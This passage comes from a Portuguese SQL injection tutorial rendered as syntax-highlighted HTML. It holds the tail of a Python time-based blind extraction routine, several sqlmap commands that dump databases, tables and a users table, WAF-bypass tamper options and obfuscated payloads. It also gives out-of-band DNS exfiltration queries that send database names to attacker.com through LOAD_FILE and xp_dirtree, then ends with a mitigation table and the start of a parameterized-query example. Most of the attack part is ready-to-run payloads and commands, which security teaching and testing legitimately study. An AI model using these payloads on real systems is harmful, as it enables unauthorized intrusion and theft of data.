&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;        payload &lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#C678DD&quot;&gt; f&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt;&quot;ASCII(SUBSTRING((&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt;{&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;query&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt;}&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt;),&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt;{&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;pos&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt;}&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt;,1))&gt;&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt;{&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;mid&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt;}&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt;&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#C678DD&quot;&gt;        if&lt;/span&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt; inject_time&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;(payload):&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;            lo &lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt; mid &lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;+&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt; 1&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#C678DD&quot;&gt;        else&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;            hi &lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt; mid&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#C678DD&quot;&gt;    return&lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt; chr&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;(lo) &lt;/span&gt;&lt;span style=&quot;color:#C678DD&quot;&gt;if&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt; 32&lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt; &amp;#x3C;=&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt; lo &lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;&amp;#x3C;=&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt; 126&lt;/span&gt;&lt;span style=&quot;color:#C678DD&quot;&gt; else&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; &apos;&apos;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;hr&gt;
&lt;h2 id=&quot;usando-sqlmap&quot;&gt;Usando sqlmap&lt;/h2&gt;
&lt;p&gt;Para automação profissional, o &lt;strong&gt;sqlmap&lt;/strong&gt; é a ferramenta padrão.&lt;/p&gt;
&lt;pre class=&quot;astro-code one-dark-pro&quot; style=&quot;background-color:#282c34;color:#abb2bf; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot; tabindex=&quot;0&quot; data-language=&quot;bash&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#7F848E;font-style:italic&quot;&gt;# Detecção básica&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;sqlmap&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt; -u&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; &quot;http://target.com/user?id=1&quot;&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt; --batch&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#7F848E;font-style:italic&quot;&gt;# Forçar técnicas específicas&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;sqlmap&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt; -u&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; &quot;http://target.com/user?id=1&quot;&lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt; \&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D19A66&quot;&gt;  --technique=BT&lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt; \&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D19A66&quot;&gt;  --batch&lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt; \&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D19A66&quot;&gt;  --level=3&lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt; \&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D19A66&quot;&gt;  --risk=2&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#7F848E;font-style:italic&quot;&gt;# Extrair banco, tabelas e dump&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;sqlmap&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt; -u&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; &quot;http://target.com/user?id=1&quot;&lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt; \&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D19A66&quot;&gt;  --dbs&lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt; \&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D19A66&quot;&gt;  --batch&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;sqlmap&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt; -u&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; &quot;http://target.com/user?id=1&quot;&lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt; \&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D19A66&quot;&gt;  -D&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; target_db&lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt; \&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D19A66&quot;&gt;  --tables&lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt; \&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D19A66&quot;&gt;  --batch&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;sqlmap&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt; -u&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; &quot;http://target.com/user?id=1&quot;&lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt; \&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D19A66&quot;&gt;  -D&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; target_db&lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt; \&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D19A66&quot;&gt;  -T&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; users&lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt; \&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D19A66&quot;&gt;  --dump&lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt; \&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D19A66&quot;&gt;  --batch&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#7F848E;font-style:italic&quot;&gt;# Via POST request&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;sqlmap&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt; -u&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; &quot;http://target.com/login&quot;&lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt; \&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D19A66&quot;&gt;  --data=&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt;&quot;username=admin&amp;#x26;password=test&quot;&lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt; \&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D19A66&quot;&gt;  -p&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; username&lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt; \&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D19A66&quot;&gt;  --batch&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#7F848E;font-style:italic&quot;&gt;# Via Burp intercepted request&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;sqlmap&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt; -r&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; request.txt&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt; --batch&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt; --level=5&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#7F848E;font-style:italic&quot;&gt;# Com cookie de sessão autenticado&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;sqlmap&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt; -u&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; &quot;http://target.com/profile?id=1&quot;&lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt; \&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D19A66&quot;&gt;  --cookie=&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt;&quot;session=abc123; csrftoken=xyz&quot;&lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt; \&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D19A66&quot;&gt;  --batch&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h3 id=&quot;sqlmap-com-proxy-burp-suite&quot;&gt;sqlmap com proxy (Burp Suite)&lt;/h3&gt;
&lt;pre class=&quot;astro-code one-dark-pro&quot; style=&quot;background-color:#282c34;color:#abb2bf; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot; tabindex=&quot;0&quot; data-language=&quot;bash&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;sqlmap&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt; -u&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; &quot;http://target.com/user?id=1&quot;&lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt; \&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D19A66&quot;&gt;  --proxy=&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt;&quot;http://127.0.0.1:8080&quot;&lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt; \&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D19A66&quot;&gt;  --batch&lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt; \&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D19A66&quot;&gt;  --tamper=space2comment,randomcase&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;hr&gt;
&lt;h2 id=&quot;bypass-de-waf&quot;&gt;Bypass de WAF&lt;/h2&gt;
&lt;h3 id=&quot;tamper-scripts-úteis-do-sqlmap&quot;&gt;Tamper scripts úteis do sqlmap&lt;/h3&gt;
&lt;pre class=&quot;astro-code one-dark-pro&quot; style=&quot;background-color:#282c34;color:#abb2bf; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot; tabindex=&quot;0&quot; data-language=&quot;bash&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#7F848E;font-style:italic&quot;&gt;# Espaço → comentário SQL&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#E06C75&quot;&gt;--tamper&lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt;space2comment&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#7F848E;font-style:italic&quot;&gt;# Case aleatório: SELECT → SeLeCt&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#E06C75&quot;&gt;--tamper&lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt;randomcase&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#7F848E;font-style:italic&quot;&gt;# Encode URL dos payloads&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#E06C75&quot;&gt;--tamper&lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt;percentage&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#7F848E;font-style:italic&quot;&gt;# Combinar múltiplos tampers&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#E06C75&quot;&gt;--tamper&lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt;space2comment,randomcase,between&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h3 id=&quot;payloads-ofuscados-manualmente&quot;&gt;Payloads ofuscados manualmente&lt;/h3&gt;
&lt;pre class=&quot;astro-code one-dark-pro&quot; style=&quot;background-color:#282c34;color:#abb2bf; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot; tabindex=&quot;0&quot; data-language=&quot;sql&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#7F848E;font-style:italic&quot;&gt;-- Espaços substituídos por comentários&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D19A66&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color:#7F848E;font-style:italic&quot;&gt;/**/&lt;/span&gt;&lt;span style=&quot;color:#C678DD&quot;&gt;AND&lt;/span&gt;&lt;span style=&quot;color:#7F848E;font-style:italic&quot;&gt;/**/&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color:#7F848E;font-style:italic&quot;&gt;--&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#7F848E;font-style:italic&quot;&gt;-- Inline comments para separar keywords&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D19A66&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color:#7F848E;font-style:italic&quot;&gt; /*!AND*/&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt; 1&lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color:#7F848E;font-style:italic&quot;&gt;--&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#7F848E;font-style:italic&quot;&gt;-- Hex encoding de strings&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D19A66&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color:#C678DD&quot;&gt; AND&lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt; SUBSTRING&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#C678DD&quot;&gt;database&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;(),&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;,&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;0x64&lt;/span&gt;&lt;span style=&quot;color:#7F848E;font-style:italic&quot;&gt;--&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#7F848E;font-style:italic&quot;&gt;-- Double URL encoding (para WAFs que decodificam uma vez)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;%&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt;2527&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;  →  %&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt;27&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;  →  &lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt;&apos;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;hr&gt;
&lt;h2 id=&quot;out-of-band-oob-exfiltration&quot;&gt;Out-of-Band (OOB) Exfiltration&lt;/h2&gt;
&lt;p&gt;Quando ambos boolean e time-based estão bloqueados, exfiltre via DNS ou HTTP.&lt;/p&gt;
&lt;h3 id=&quot;mysql--dns-exfiltration&quot;&gt;MySQL — DNS Exfiltration&lt;/h3&gt;
&lt;pre class=&quot;astro-code one-dark-pro&quot; style=&quot;background-color:#282c34;color:#abb2bf; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot; tabindex=&quot;0&quot; data-language=&quot;sql&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#7F848E;font-style:italic&quot;&gt;-- Exige FILE privilege e resolução DNS externa&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#C678DD&quot;&gt;SELECT&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt; LOAD_FILE(&lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;CONCAT&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt;&apos;\\\\&apos;&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;  (&lt;/span&gt;&lt;span style=&quot;color:#C678DD&quot;&gt;SELECT&lt;/span&gt;&lt;span style=&quot;color:#C678DD&quot;&gt; database&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;()),&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#98C379&quot;&gt;  &apos;.attacker.com\\share&apos;&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;))&lt;/span&gt;&lt;span style=&quot;color:#7F848E;font-style:italic&quot;&gt;--&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h3 id=&quot;mssql--xp_dirtree-dns&quot;&gt;MSSQL — xp_dirtree DNS&lt;/h3&gt;
&lt;pre class=&quot;astro-code one-dark-pro&quot; style=&quot;background-color:#282c34;color:#abb2bf; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot; tabindex=&quot;0&quot; data-language=&quot;sql&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#7F848E;font-style:italic&quot;&gt;-- Via xp_dirtree (não precisa de xp_cmdshell)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#C678DD&quot;&gt;EXEC&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt; master&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt;dbo&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;.xp_dirtree&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#98C379&quot;&gt;  &apos;\\&apos;&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt; + (&lt;/span&gt;&lt;span style=&quot;color:#C678DD&quot;&gt;SELECT&lt;/span&gt;&lt;span style=&quot;color:#C678DD&quot;&gt; TOP&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt; 1&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt; table_name &lt;/span&gt;&lt;span style=&quot;color:#C678DD&quot;&gt;FROM&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt; information_schema&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt;tables&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;) + &lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt;&apos;.attacker.com\x&apos;&lt;/span&gt;&lt;span style=&quot;color:#7F848E;font-style:italic&quot;&gt;--&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h3 id=&quot;capturando-com-interactsh-ou-burp-collaborator&quot;&gt;Capturando com interactsh ou Burp Collaborator&lt;/h3&gt;
&lt;pre class=&quot;astro-code one-dark-pro&quot; style=&quot;background-color:#282c34;color:#abb2bf; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot; tabindex=&quot;0&quot; data-language=&quot;bash&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#7F848E;font-style:italic&quot;&gt;# Iniciar listener com interactsh-client&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;interactsh-client&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt; -v&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#7F848E;font-style:italic&quot;&gt;# Sua URL de callback fica em: xxxx.interactsh.com&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#7F848E;font-style:italic&quot;&gt;# Use no payload:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#7F848E;font-style:italic&quot;&gt;# &apos; AND LOAD_FILE(CONCAT(&apos;\\\\&apos;, database(), &apos;.xxxx.interactsh.com\\x&apos;))--&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;hr&gt;
&lt;h2 id=&quot;mitigação&quot;&gt;Mitigação&lt;/h2&gt;

































&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;Vetor&lt;/th&gt;&lt;th&gt;Controle Recomendado&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;Query dinâmica&lt;/td&gt;&lt;td&gt;Usar &lt;strong&gt;Prepared Statements&lt;/strong&gt; / Parameterized Queries&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;ORM inseguro&lt;/td&gt;&lt;td&gt;Evitar raw queries; usar ORMs com bind parameters&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Erros verbosos&lt;/td&gt;&lt;td&gt;Desabilitar stack traces em produção&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Ausência de WAF&lt;/td&gt;&lt;td&gt;Implementar WAF com regras OWASP CRS&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Permissões excessivas&lt;/td&gt;&lt;td&gt;DB user deve ter apenas SELECT nas tabelas necessárias&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;OOB via DNS&lt;/td&gt;&lt;td&gt;Bloquear resolução DNS de saída no servidor DB&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;
&lt;pre class=&quot;astro-code one-dark-pro&quot; style=&quot;background-color:#282c34;color:#abb2bf; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot; tabindex=&quot;0&quot; data-language=&quot;python&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#7F848E;font-style:italic&quot;&gt;# SEGURO: Parameterized query em Python (psycopg2)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#C678DD&quot;&gt;import&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt; psycopg2&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;conn &lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt; psycopg2.&lt;/span&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;connect&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt;&quot;dbname=app user=readonly&quot;&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
